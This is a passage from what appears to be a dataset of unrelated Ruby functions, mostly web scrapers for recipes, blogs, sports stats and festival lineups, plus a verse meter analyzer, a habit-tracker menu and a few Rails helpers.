meter_candidates.keys.first\n\n len = m_hsh[meter]\n v_padas << m[:syllables].slice!(0, len[0]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[1]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[2]).join(\"\")\n v_padas << m[:syllables].slice!(0, len[3]).join(\"\")\n\n defect_percentage = nil\n correct = []\n else\n d = 100.0\n pattern = []\n meter_candidates.each do |(key, val)|\n next unless val[0][:edit_distance].to_i < d # multiple verses with same edit distance???\n d = val[0][:edit_distance]\n meter = key\n pattern = val[0][:pattern].split(\"\")\n end\n\n defect_percentage = Rational(d, meter_candidates[meter][0][:pattern].length)\n n = fuzzy_correction(m[:weights], meter, pattern, m[:syllables])\n correct = n[:correct_weights]\n v_padas = n[:correct_padas]\n end\n\n v_corrections = {\n weights: correct.join(\"\"),\n padas: v_padas,\n }\n\n v_meters = {\n name: meter,\n size: \"full/half/pada\",\n defectiveness: defect_percentage,\n corrections: [v_corrections],\n }\n\n result = {\n verse: verse_string,\n syllables: v_syllables,\n weights: v_weight,\n status: m[:status],\n meter: [v_meters],\n }\n\n if result[:status] == \"exact match\"\n result[:meter] = v_meters[:name]\n result[:padas] = v_padas\n end\n\n result\n end", "def show\n @page = Page.find(@draft.page_id)\n @statuses = (current_user.user_level_id == SUPERVISOR_VALUE) ? ApprovalStatus.where.not(id: [ EXECUTIVE_VALUE ]) : ApprovalStatus.all\n\n # All of this code below is to basically add new lines after each element to account for the Diffy Gem functionality\n delimiters = ['</h1>', '</h2>', '</h3>', '</h4>', '</h5>', '</p>', '</li>']\n @page_text = @page.content.split(Regexp.union(delimiters))\n @draft_text = @draft.content.split(Regexp.union(delimiters))\n @page_string = \"\"\n @draft_string = \"\"\n\n @page_text.each do |text|\n if text.include? '<p'\n text += \"\\n</p>\"\n elsif text.include? '<h1'\n text += \"\\n</h1>\"\n elsif text.include? '<h2'\n text+= \"\\n</h2>\"\n elsif text.include? '<h3'\n text += \"\\n</h3>\"\n elsif text.include? '<h4'\n text += \"\\n</h4>\"\n elsif text.include? '<li'\n text += \"\\n</li>\"\n end\n @page_string += ActionController::Base.helpers.strip_tags(text.strip)\n end\n\n @draft_text.each do |text|\n if text.include? '<p'\n text += \"\\n</p>\"\n elsif text.include? '<h1'\n text += \"\\n</h1>\"\n elsif text.include? '<h2'\n text+= \"\\n</h2>\"\n elsif text.include? '<h3'\n text += \"\\n</h3>\"\n elsif text.include? '<h4'\n text += \"\\n</h4>\"\n elsif text.include? '<li'\n text += \"\\n</li>\"\n end\n @draft_string += ActionController::Base.helpers.strip_tags(text.strip)\n end\n end", "def scrap(ingredient)\n scraper = ScraperMarmiton.new(ingredient)\n scraper.doc.search('m.search').each do |element|\n name = element.search('.m_search_titre_recette > a').inner_text\n rating = element.search('etoile1').size\n prep_time = 10 #element.search('m_search_result_part4').inner_text.match(/\\d+/)[1]\n cooking_time = 10 #\n create(name, rating, preparation_time, cooking_time)\n end\n end", "def verses(starting, ending)\n (starting..ending).each do |verse|\n verse.join(\"\\n\")\n end\n end", "def scrape_1_page(page)\n p \"scraping a page\" #{link.href}\" \n blog_date_1 = nil #the first part of the pubDate field goes into here\n blog_body = nil #the body text goes here\n blog_date_2 = nil #the second part of the pubDate field goes into here\n comments_arr = nil #temporary storage for comments before they get added to main document\n \n #select on td id=maincontent\n page.search('#maincontent')[0].each_child{ |child|\n \n if @max_blog_entries != nil and @curr_blog_entries >= @max_blog_entries\n @completed = true\n p \"reached max_blog_entries=#{@max_blog_entries}\"\n return\n end\n \n if child.search('.blogheader').length != 0\n blog_date_1 = convert_xanga_header_to_wordpress_date(child.inner_html)\n p \"blog head #{blog_date_1}\" \n #this is first part of date-time\n\n elsif child.search('.blogbody').length != 0\n #TODO: extract comments, number of views for blog\n \n #this is body of the blog\n blog_body = sanitize_blog_body(child.search(\"td\")[1].inner_html)\n \n p \"blog body=#{blog_body}\"\n \n #extract the date of blog for archiving purposes\n #inside class blogbody, lives a class smalltext, and we want the inner_html of the second <a href> tag\n blog_date_2 = convert_to_usable_time(child.search('.blogbody')[0].search('.smalltext')[0].search(\"a\")[1].inner_html)\n \n #create teh new document out of blogheader and blogfooter\n doc = create_new_xml_blog( blog_body, blog_date_1 + blog_date_2 )\n \n #catch comments here\n #inside class blogbody, lives a class smalltext, and we want the inner_html of the fifth <a href> tag\n if child.search('.blogbody')[0].search('.smalltext')[0].search(\"a\")[4].inner_html != \"add comments\"\n comments_arr =scrape_comments( Hpricot::Elements[ child.search('.blogbody')[0].search('.smalltext')[0].search(\"a\")[4] ].attr(\"href\") )\n comments_arr.each { |comment| \n doc.search(\"item\").append(comment.inner_html.to_s)\n #p \"adding comment here #{comment.inner_html.to_s}\"\n }\n #dump_page(doc)\n end\n\n #add resulting document to the @doc object already created\n @doc.search(\"channel\").append(doc.inner_html.to_s) \n\n @curr_blog_entries += 1\n end\n \n }\n end", "def initialize node\n @language = node[1].content\n @subtitles = node[2].content\n\n crypted_online_link = node[0].xpath('.//a')[0].attribute('href').content\n # Request online link\n doc = Nokogiri::HTML(Harmony::Page.fetch(crypted_online_link).to_html)\n @online_link = doc.xpath('//span/b/a')[0].attribute('href').content\n\n=begin\n download_node = doc.xpath('//h3/a')[1]\n if download_node\n crypted_download_link = download_node.attribute('href').content\n # Request donwload link\n doc = Nokogiri::HTML(Harmony::Page.fetch(crypted_download_link).to_html)\n @download_link = doc.xpath('//h3/a')[0].attribute('href').content\n end\n=end\n end", "def voa_headline\n # url = 'http://www.voanews.com/api/zym_ocutrrrrponktqdktqfjti!ktqey$_rrrpo'\n url = 'http://www.voanews.com/api/zym_ocutrrrrponpuqdvkifjti!ktqejqyrrrpp'\n txt = open(url, :read_timeout => 20)\n @xml_doc = Nokogiri::XML(txt) { |x| x.noblanks }\n pub_date = @xml_doc.root.xpath(\"channel/lastBuildDate\").first.text\n pub_date = Time.zone.parse pub_date\n if File.exists? \"/tmp/pangea_date.txt\"\n tt = File.read \"/tmp/pangea_date.txt\"\n pre_date = Time.zone.parse tt\n else\n pre_date = 1.day.ago\n end\n # if pre_date < pub_date\n puts \"Akamai uploading NNOW_HEADLINES.mp3\"\n upload_voa_mp3\n File.write \"/tmp/pangea_date.txt\", pub_date.iso8601\n # end\n\n end", "def scrape_text\n raise(Scraper::Exceptions::NotImplemented, \"Not implemented\")\n end", "def scrapeESPN()\n # Delete databases\n Conference.delete_all\n Team.delete_all \n Game.delete_all\n\n puts \"Getting Conferences\"\n # Gets all the Conferences\n get_confs()\n\n puts \"Getting Teams\"\n # Gets teams and team stats for each conference\n Conference.find_each do |conf|\n puts \"--\" + conf.name\n get_teams_from_conf(conf)\n get_conference_standings(conf)\n get_team_scoring_stats(conf)\n get_team_adv_scoring_stats(conf)\n get_team_assists_stats(conf) \n get_team_rebounds_stats(conf)\n get_team_steals_stats(conf)\n get_team_blocks_stats(conf)\n end\n\n puts \"Getting Team Logos and Games\"\n Team.find_each do |team|\n puts \"--\" + team.name\n get_team_logo(team)\n get_team_games(team)\n end\n end", "def run\n url = p params[:my_url]\n if url.include? \"damndelicious.net\"\n doc = Nokogiri::HTML(open(url))\n recipe = Recipe.create do |recipe|\n #TODO: I see a lot of recipe manipulation. Could you extract lines 15 to 19 and similar codebase below into a function? That would make this a lot smaller and easier to read.\n recipe.user_id = current_user.id\n recipe.title = doc.at_css(\"h1\").text\n recipe.description = doc.at_css(\"em\").text\n recipe.url = url\n recipe.image_url = doc.at('//img[@class=\"photo nopin pib-hover-img\"]/@src').to_s\n # recipe end\n end\n doc.css(\".ingredient\").each do |classes|\n Ingredient.create!(name: classes.text, recipe_id: Recipe.last.id)\n # instruction end\n end\n doc.css(\".instructions li\").each do |classes|\n Direction.create!(step: classes.text, recipe_id: Recipe.last.id)\n # direction end\n end\n redirect_to recipe, notice: \"Scraped Recipe, please check to verify everything looks correct\"\n elsif url.include? \"thepioneerwoman.com\"\n doc = Nokogiri::HTML(open(url))\n recipe = Recipe.create do |recipe|\n recipe.user_id = current_user.id\n recipe.title = doc.at_css(\".recipe-title\").text\n # recipe.description = doc.at_css(\".col-xs-7 p\").text\n recipe.image_url = doc.at('//img[@class=\"alignnone size-full wp-image-91195\"]/@src').to_s\n recipe.url = url\n # recipe end\n end\n doc.css(\".list-ingredients li\").each do |classes|\n Ingredient.create!(name: classes.text, recipe_id: Recipe.last.id)\n # instruction end\n end\n doc.css(\".panel+ .panel .panel-body\").each do |classes|\n Direction.create!(step: classes.text, recipe_id: Recipe.last.id)\n # direction end\n end\n redirect_to recipe, notice: \"Scraped Recipe, please check to verify everything looks correct\"\n elsif url.include? \"allrecipes.com\"\n doc = Nokogiri::HTML(open(url))\n recipe = Recipe.create do |recipe|\n recipe.user_id = current_user.id\n recipe.title = doc.at_css(\".recipe-summary__h1\").text\n recipe.description = doc.at_css(\".submitter__description\").text\n recipe.url = url\n recipe.image_url = doc.at('//img[@class=\"rec-photo\"]/@src').to_s\n\n # recipe end\n end\n doc.css(\".added\").each do |classes|\n Ingredient.create!(name: classes.text, recipe_id: Recipe.last.id)\n # instruction end\n end\n doc.css(\".step\").each do |classes|\n Direction.create!(step: classes.text, recipe_id: Recipe.last.id)\n # direction end\n end\n redirect_to recipe, notice: \"Scraped Recipe, please check to verify everything looks correct\"\n else\n redirect_to new_recipe_url, alert: \"the domain your trying to access is not yet supported\"\n # if statement end\n end\n # Def run end\n end", "def new_dvd_releases\n return @badfruit.parse_movies_array(JSON.parse(@badfruit.get_lists_action(\"new_releases\")))\n end", "def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") { |s| s.read }\n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n }\n \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| \n self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\")\n }\n\n end", "def search_festival_scrapping(list_festival_name, year)\n # try to find festival's data for each name\n list_festival_name.each do |festival_name|\n url = \"#{Rails.configuration.behaviour['scrapping']['base_url']}#{festival_name}/\"\n\n # First we ping the URL to see if it exists\n resp = Net::HTTP.get_response(URI.parse(url))\n next unless /20\\d/ =~ resp.code\n # then we scrap\n page = Nokogiri::HTML(open(url))\n # create Festival if necessary\n if @festival.instance_of?(Festival) && @festival.valid?\n festival = @festival\n else\n name = page.css('header.entry-header.wrapper h1 span').text\n short_name = name.gsub(/ 20\\d{2}$| festival/i, '')\n params = ActionController::Parameters.new(\n festival: {\n name: name,\n short_name: short_name,\n slug: festival_name,\n url: url,\n year: year\n }\n )\n festival = Festival.create(params.require(:festival).permit!)\n end\n\n # headliners\n page.css('.placeholder2 .f_headliner .f_artist').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.festivals_artists.create_headliner(new_artist)\n end\n\n # lineup\n page.css('.lineupguide ul li').each do |artist|\n artist_name = artist.text\n slug = artist_name.strip\n .downcase.gsub(/\\A\\p{Space}*|\\p{Space}*\\z/, '')\n # Search Artist in database before creating it\n new_artist = Artist.create_if_not_found(artist_name, slug)\n next if !new_artist.valid? || festival.artists.include?(new_artist)\n festival.artists << new_artist\n end\n\n # Save and return Festival\n if festival.instance_of?(Festival) && festival.valid? && festival.save\n @festival = festival\n end\n end\n end", "def get_bardahl_product_data\n agent = Mechanize.new\n page = agent.get('https://allbardahl.ru/catalog/additives/')\n review_links = page.links_with(text: /[a-zA-Z]/, href: %r{/\\w+})[1, 76]\n\n array_links = []\n review_links.map.with_index do |elem, i|\n i % 2 == 0 ? array_links << elem : next\n end\n array_links\nend", "def get_pack_data(pack)\n versesNeeded = check_for_verses(pack)\n\n if versesNeeded > 0\n\tputs \"Verses needed for #{pack.get_title}\"\n\turl = get_search_url(pack.verses)\n\tdata = get_search_result(url)\n\t@passages = get_passages(data)\n\n\t# print passages\n\[email protected]_entry do |passage|\n\t verse = distill(passage)\n\t #puts verse.to_s\n\tend\n else\n\tputs \"Pack #{pack.get_title}: all verses found in MongoDB\"\n end\nend", "def main_game\n # Add the following information :\n my_game = 'Street_fighter_V'\n my_style = 'combat'\n # End\n row_max = 2\n\n url = my_url_game(my_game)\n browser = Watir::Browser.new :chrome, scrapping_options\n scrap_game(url, browser, my_game, my_style, row_max)\n row_max += 100\nend", "def process\n # process url\n urls = self.text.scan(URL_REGEXP)\n urls.each { |url|\n tiny_url = open(\"http://tinyurl.com/api-create.php?url=#{url[0]}\") {|s| s.read} \n self.text.sub!(url[0], \"<a href='#{tiny_url}'>#{tiny_url}</a>\")\n } \n # process @\n ats = self.text.scan(AT_REGEXP)\n ats.each { |at| self.text.sub!(at, \"<a href='/#{at[2,at.length]}'>#{at}</a>\") } \n end", "def sing_loop(starting_verse, ending_verse=0)\n starting_verse.downto(ending_verse).inject(\"\") do |song, verse_number|\n song << verse(verse_number) + \"\\n\"\n end\n end", "def search_title_scrape\n @doc.search('b')[2..6].each do |name|\n @names << name.text\n end\n search_description_scrape\n end", "def learnmore \r\n\tcurrentpage = 0\r\n\tpage1 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║ Habit Tracker is a program that helps people build habits. Habit ║ \r\n║formation is the process by which new behaviors become automatic. If you ║\r\n║instinctively reach for a cigarette the moment you wake up in the ║\r\n║morning, you have a habit. By the same token, if you feel inclined to ║\r\n║lace up your running shoes and hit the streets as soon as you get home, ║\r\n║you've acquired a habit. ║\r\n║ Old habits are hard to break and new habits are hard to form. That's ║\r\n║because the behavioral patterns we repeat most often are literally etched║\r\n║into our neural pathways. The good news is that, through repetition, it's║\r\n║possible to form—and maintain—new habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage2 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Commit for a Set Time – Some research says three to four weeks is all the║\r\n║time you need to make a habit automatic. If you can make it through the ║\r\n║initial conditioning phase, it becomes much easier to sustain. ║\r\n║ ║\r\n║Set Reminders – Consistency is critical if you want to make a habit ║\r\n║stick. If you want to start exercising, go to the gym every day for your ║\r\n║first thirty days. Going a couple times a week will make it harder to ║\r\n║form the habit. Activities you do once every few days are trickier to ║\r\n║lock in as habits. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page 3. Keep reading ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpage3 = \"\r\n╔═════════════════════════════════════════════════════════════════════════╗\r\n║ ║\r\n║Habit Tracker helps you to: ║\r\n║Stay Consistent – The more consistent your habit the easier it will be to║\r\n║stick. If you want to start exercising, try going at the same time, to ║\r\n║the same place. When cues like time of day, place and circumstances are ║\r\n║the same in each case it is easier to stick. ║\r\n║ ║\r\n║Get a Buddy – Find someone who will go along with you and keep you ║\r\n║motivated if you feel like quitting. ║\r\n║ ║ \r\n║Make a Plan - Planing how you are going to make your behavior a lifestyle║ \r\n║will allow you to eliminate distractions and help you stick to your ║\r\n║commitments. ║\r\n║ ║\r\n║ 1. Back to menu 2. Previous Page ║\r\n║ ║\r\n╚═════════════════════════════════════════════════════════════════════════╝\"\r\n\tpages = [page1, page2, page3]\r\n\t\r\n\texitloop = false\r\n\tuntil exitloop\r\n\t\tputs pages[currentpage]\r\n\t\tinput = gets.chomp\r\n\t\tif input == \"1\"\r\n\t\t\texitloop = true\r\n\t\t\tintro()\t\t\r\n\t\telsif input == \"2\"\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tcurrentpage -= 1\r\n\t\t\tend \r\n\t\telsif input == \"3\"\r\n\t\t\tif currentpage == 1\r\n\t\t\t\tcurrentpage += 1 \r\n\t\t\telse\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tif currentpage == 0\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 1\r\n\t\t\t\tputs \"Enter 1 to go to the main menu, 2 to go to the previous page, or 3 to continue reading about Habit Tracker.\"\r\n\t\t\telsif currentpage == 2\r\n\t\t\t\tputs \"Enter 1 to go to the main menu or 2 to go to the previous page.\"\t\r\n\t\t\tend \t\t\t\t\t\r\n\t\tend\t\r\n\tend\t\r\nend", "def programmjetzt\ndoc = tvprogramm(doc)\ndob = tvprogrammsat(dob)\n if doc == NIL or doc == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n elsif dob == NIL or dob == \"\"\n say \"Es gab ein Problem beim Einlesen des Fernsehprogramms!\"\n else\n doc.encoding = 'utf-8'\n dob.encoding = 'utf-8'\n docs = doc.xpath('//title')\n dobs = dob.xpath('//title')\n i = 1\n while i < docs.length\n dos = docs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n if doss == \"ARD: \"\n dos = dosund(dos)\n orf1 = dos\n elsif doss == \"ZDF: \"\n dos = dosund(dos)\n orf2 = dos\n elsif doss == \"SAT.1\"\n dos = dosund(dos)\n orf3 = dos\n elsif doss == \"RTL: \"\n dos = dosund(dos)\n atv = dos\n elsif doss == \"PRO7:\"\n dos = dosund(dos)\n orfs = dos\n elsif doss == \"RTL2:\"\n dos = dosund(dos)\n puls4 = dos\n elsif doss == \"KABEL\"\n dos = dosund(dos)\n servus = dos\n else\n end\n i += 1\n end\n i = 1\n while i < dobs.length\n dos = dobs[i].to_s\n dos = cleanup(dos)\n doss = dos[0,5]\n \n if doss == \"3SAT:\"\n dos = dosund(dos)\n sat = dos\n else\n end\n i += 1\n end\n say \"\", spoken: \"Das läuft gerade im Fernsehen\"\nobject = SiriAddViews.new\n object.make_root(last_ref_id)\n answer = SiriAnswer.new(\"TV Programm - aktuell\", [\n SiriAnswerLine.new(orf1),\n SiriAnswerLine.new(orf2),\n SiriAnswerLine.new(orf3),\n SiriAnswerLine.new(atv),\n SiriAnswerLine.new(sat),\n SiriAnswerLine.new(puls4),\n SiriAnswerLine.new(servus),\n SiriAnswerLine.new(orfs)\n ])\n object.views << SiriAnswerSnippet.new([answer])\n send_object object\n \n end\n request_completed\nend", "def fill_search_page(voter_id)\n seed_offices\n\n visit '/search'\n\n choose \"Use Voter ID\"\n within \"#vid\" do\n fill_in \"Voter ID\", with: voter_id\n select \"NORFOLK CITY\", from: \"Locality\"\n select \"January\", from: \"search_query_dob_2i_\"\n select \"1\", from: \"search_query_dob_3i_\"\n select \"1996\", from: \"search_query_dob_1i_\"\n end\n\n VCR.use_cassette \"search_#{voter_id}\" do\n click_on 'Next'\n end\n end", "def get_ver(url,tag)\n puts \"Search and return tag version within the url payload: #{url}, #{tag}\" if @verbose\n tag_ver=\"\"\n doc = open_page(url)\n case tag\n when \"utag.js\" # sample: ...,\"code_release_version\":\"cb20190312032612\",...\n doc.text.each_line do |line|\n my_line = line.downcase\n if my_line.include?(\"code_release_version\")\n puts \"Extract tag version from line: #{my_line}\" if @verbose\n m = my_line.match(/\\\"code\\_release\\_version\\\"\\:\\\"(?<ver>[a-z]+\\d+)\\\"/)\n tag_ver = m[:ver]\n break\n end\n end\n when \"analytics.js\" # sample #1: ga('create', 'UA-19175804-2', 'knopfdoubleday.com');\n doc.text.each_line do |line|\n my_line = line.downcase\n if my_line.include?(\"ga\") && my_line.include?(\"create\") #sample #2: __gaTracker('create', 'UA-121313929-1', 'auto');\n puts \"Extract tag version from line: #{my_line}\" if @verbose\n m = my_line.match(/[\\'|\\\"]create[\\'|\\\"]\\s*\\,\\s*[\\'|\\\"](?<ver>\\w+\\-\\d+\\-\\d+)[\\'|\\\"]\\s*\\,/)\n tag_ver = m[:ver]\n break\n end\n end\n when \"ga.js\"\n doc.text.each_line do |line|\n my_line = line.downcase\n puts my_line if @verbose\n if my_line.include?(\"push\") && my_line.include?(\"_setaccount\") # # sample #1: _gaq.push(['_setAccount', 'UA-13205363-65']);\n m = my_line.match(/[\\'|\\\"]\\_setaccount[\\'|\\\"]\\s*\\,\\s*[\\'|\\\"](?<ver>\\w+\\-\\d+\\-\\d+)[\\'|\\\"]/)\n tag_ver = m[:ver]\n break\n end\n if my_line.include?(\"_gettracker\") # sample #2: var pageTracker = _gat._getTracker(\"UA-12487327-1\");\n puts \"Extract tag version from line: #{my_line}\" if @verbose\n m = my_line.match(/\\_gettracker\\s*\\(\\s*[\\'|\\\"](?<ver>\\w+\\-\\d+\\-\\d+)[\\'|\\\"]/)\n tag_ver = m[:ver]\n break\n end\n\n end\n when \"all.js\" # sample: appId : '749936668352954',\n doc.text.each_line do |line|\n my_line = line.downcase\n if my_line.include?(\"appid\") && my_line.include?(\":\")\n puts \"Extract tag version from line: #{my_line}\" if @verbose\n m = my_line.match(/appid\\s+\\:\\s+[\\'|\\\"](?<ver>\\d+)[\\'|\\\"]\\s*\\,/)\n tag_ver = m[:ver]\n break\n end\n end\n\n else\n puts \"Don't know how to locate Adware Tag version: #{tag}\"\n # do nothing\n end\n doc = nil\n return tag_ver.upcase\n rescue => ee\n puts \"Exception on method #{__method__}: #{ee}: #{url} : #{tag}\" if @verbose\n return tag_ver\n end", "def getHalfMinuteArticle(showURL,theYear,defaultDate)\n\tpage = Nokogiri::HTML(open(showURL))\n\tshowTitle = page.css('td#contentTd table td h3 strong.title').text.strip\n\tshowDescription = page.css('td#contentTd p').text.strip\n\tepisodeTable = page.css('td#contentTd table td a.hmenu')\n\tepisodeTitle = []\n\tepisodeURL = []\n\tepisodeDate = []\n\tepisodeMaster = []\n\tepisodeDesc = []\n\t\t\n\tepisodeTable.each do |t|\n\t\tepisodeURL.push('http://www.moneyradio.org/'+t['href'])\n\t\ttitleText = t.text.strip\n\t\t#episodeDate.push(titleText.index(theYear))\t\t\n\t\tif(titleText.index(theYear).nil?)\n\t\t\tepisodeDate.push(Date.strptime(defaultDate, '%m/%d/%Y'))\n\t\t\tepisodeTitle.push(t.text.strip)\n\t\t\t#use this print out to debug\n\t\t\t#puts t.text.strip\n\t\telse\n\t\t\tif titleText.index('1011/2007') # this is special case in 2007\n\t\t\t\tepisodeDate.push(Date.strptime(defaultDate, '%m/%d/%Y'))\n\t\t\t\tepisodeTitle.push(t.text.strip)\t\t\t\t\n\t\t\telse\n\t\t\t\tepisodeDate.push(Date.strptime(titleText[0..(titleText.index(theYear)+theYear.length-1)], '%m/%d/%Y'))\n\t\t\t\tepisodeTitle.push(titleText[(titleText.index(theYear)+theYear.length)..titleText.length].to_s.strip)\n\t\t\tend\n\t\t\t#use this print out to debug\n\t\t\t#puts t.text.strip\n\t\tend\n\tend\n\tf = 0\n\t#episodeURL = episodeURL[0..4]\n\tepisodeURL.each do |c|\n\t\tarticlePage = Nokogiri::HTML(open(c))\n\t\tcontent = articlePage.css('td#contentTd p').text.strip\n\t\t#puts content\n\t\tepisodeDesc.push(content)\n\t\tputs f.to_s\n\t\tputs episodeDate[f]\n\t\tputs episodeTitle[f]\n\t\tsleep(3)\n\t\tf = f+1\n\tend\n\t#puts \"title: \"+episodeTitle.length.to_s + \"content: \"+episodeDesc.length.to_s\n\tk = 0\n\tepisodeURL.each do |j|\n\t\tepisode = EpisodePage.new\n\t\tepisode.name = episodeTitle[k]\n\t\tepisode.date = episodeDate[k]\n\t\t#episode.url = j\n\t\tepisode.desc = episodeDesc[k]\n\t\tk = k + 1\n\t\tepisodeMaster.push(episode)\n\tend\n\treturn episodeMaster\nend", "def build_item_from_html(html, index)\n\n new_item_attributes = {\n xiv_index: index,\n name: html.css('.content-page-title').text,\n }\n\n item = Item.new(new_item_attributes)\n\n additional_info = get_additional_info(index)\n\n job_data = html.css('#page-crafted span[style=\"display:inline-block;width:300px;\"]').text\n matches = /.*Attempt Level:\\s*(\\d+)\\s*(\\w+)/.match(job_data)\n\n item.save\n\n if (matches)\n job_requirements = {\n level: matches[1],\n }\n jr = JobRequirement.new(job_requirements)\n jr.job = Job.find_by({ name: matches[2] })\n jr.item = item\n jr.save\n end\n\n item\nend", "def parse_from_website\n log 'Parsing from Website:'\n offer_links = HomepageParser.new(get_body_from('/leistungen/alle-leistungen-2016/index.html')).offer_links\n offer_links.each do |offer_link|\n create_and_parse_offer(offer_link)\n end\n log\n end", "def retrieve_motionbook(link, mechanize_agent)\n tries = 0\n begin\n dd_values = []\n deviation_page = mechanize_agent.get(link.href)\n rescue Exception => e\n puts \"Error downloading book #{link.text}, retrying...\"\n if tries < 5\n sleep (2 ** tries)\n tries +=1\n retry\n else\n puts \"Tried three times, giving up.\"\n @book_errors_list << link\n return\n end\n end\n\n begin\n # Process the URL.\n puts \"Book #{link.text} retrieved, processing...\\n\\n\"\n author = deviation_page.link_with(dom_class: %r{u.*username.*}).text\n # find the div that contains the deviation stats.\n stats_div = deviation_page.search('.dev-metainfo-stats')\n # Find all the descriptions within the div. This will be the relevant info.\n dds = stats_div.search('dd')\n # Put the values of the dd tags into an array for cleanup.\n dds.each do |d|\n dd_values << d.content.chomp.strip\n end;\n # let's get some nicely formatted data.\n views = dd_values[0].match(/([0-9,]+) ?\\(?/)[1].gsub(/,/, \"\")\n favs = dd_values[1].match(/([0-9,]+) ?\\(?/)[1].gsub(/,/, \"\")\n comments = dd_values[2].to_s.gsub(/,/, \"\")\n\n # Make a new Motionbook instance with our lovely data.\n # Template: Motionbook.new(name, url, author, views, favs, comments)\n book = Motionbook.new(link.text, link.href, author, views, favs, comments)\n puts \"Book #{book.name} processed.\\n\\n\"\n rescue Exception => e\n puts \"Processing error, #{e}\"\n @book_errors_list << link\n end\n\nend", "def create(page, version)\n @page = Page.new(page)\n @page.versions << @version = Version.new(version.merge!(:remote_ip => request.remote_ip, :user => @user))\n if @page.valid? && @version.valid?\n response = check_comment_with_spam_engine(@page.url, @version.content_html)\n if response[:spam]\n Version.create_spam(@page.name,\n :content => @version.content,\n :spaminess => response[:spaminess],\n :signature => response[:signature],\n :remote_ip => @version.remote_ip\n )\n else\n @version.signature = response[:signature]\n @version.spaminess = response[:spaminess]\n @page.save\n end\n redirect url(:pages)\n else\n render :new\n end\n end", "def lsvob_fill_tag_and_description(line, hvob)\n# the second position is the VOB's tag\n hvob[:tag] = '\\\\' + line.scan(/\\w+/)[1]\n# check for the description\n if line.index('\"')\n _description = line\n# get rid of the leading and trailing '\"' and white spaces\n _description = _description.sub(/Tag: \\\\\\w+./,'').lstrip\n _description = (_description.gsub(/\\\"/,'').rstrip).lstrip\n hvob[:description] = _description \n end\nend", "def initialize(html, name, section, tagline, manual=nil, version=nil, date=nil)\n @buf = []\n title_heading name, section, tagline, manual, version, date\n doc = Hpricot(html)\n remove_extraneous_elements! doc\n normalize_whitespace! doc\n block_filter doc\n write \"\\n\"\n end", "def initialize(text)\n\n tagger_model = \"pt-pos-perceptron.bin\"\n if tagger_model == \"pt-pos-maxent.bin\"\n @article_tags = ['ART']\n @verb_tags = ['V']\n @auxiliary_verb_tags = ['VAUX']\n @participle_tags = ['PCP']\n @noun_tags = ['N', 'NPROP']\n @adjective_tags = ['ADJ']\n @adverb_tags = ['ADV', 'ADV-KS' 'ADV-KS-REL']\n @pronoun_tags = ['PROPESS', 'PROSUB', 'PROADJ', 'PRO-KS', 'PRO-KS-REL', ]\n @numeral_tags = ['NUM']\n @conjunction_tags = ['KS', 'KC']\n @preposition_tags = ['PREP', 'PREP+PROPESS', 'PREP+ART']\n @interjection_tags = ['IN']\n @denotative_word_tags = ['PDEN']\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n\n @functions_as_noun_tags = ['N', 'NPROP', 'PROSUB']\n @functions_as_adjective_tags = ['ADJ', 'PROADJ']\n @punctuation_tags = ['PU']\n else\n @article_tags = ['art']\n @finito_tags = ['v-fin']\n @infinitive_tags = ['v-inf']\n @participle_tags = ['v-pcp']\n @gerundio_tags = ['v-ger']\n @noun_tags = ['n', 'prop']\n @adjective_tags = ['adj', 'n-adj']\n @adverb_tags = ['adv']\n @pronoun_tags = ['pron-pers', 'pron-indp']\n @denotative_word_tags = ['pron-det']\n @numeral_tags = ['num']\n @preposition_tags = ['prp']\n @conjunction_tags = ['conj-s', 'conj-c']\n @interjection_tags = ['intj']\n @punctuation_tags = ['punc']\n @functions_as_noun_tags = ['n', 'nprop']\n @functions_as_adjective_tags = ['adj', 'n-adj']\n @verb_tags = @finito_tags + @infinitive_tags + @participle_tags + @gerundio_tags\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n end\n\n @tagger = OpenNLP::POSTaggerME.new(tagger_model)\n @tokenizer = OpenNLP::TokenizerME.new(\"pt-token.bin\")\n\n @tokens = @tokenizer.tokenize(text.gsub(/(\\p{Punct})/,\" \\\\1 \"))\n @part_of_speech = @tagger.tag(@tokens).to_a\n end", "def process_oldstyle_html contents\n\tdoc = Nokogiri::HTML(contents)\n\n\t# the HIB page keeps each entry in a div with class 'row'\n\t# plus a name based on the game name.\n\tdoc.css('div.row').each do |div|\n\t\tname = div['class'].sub(/\\s*row\\s*/,'')\n\t\troot = get_root name\n\t\tdiv.css('.downloads').each do |dd|\n\t\t\ttype = dd['class'].gsub(/\\s*(downloads|show)\\s*/,'')\n\t\t\tdd.css('.download').each do 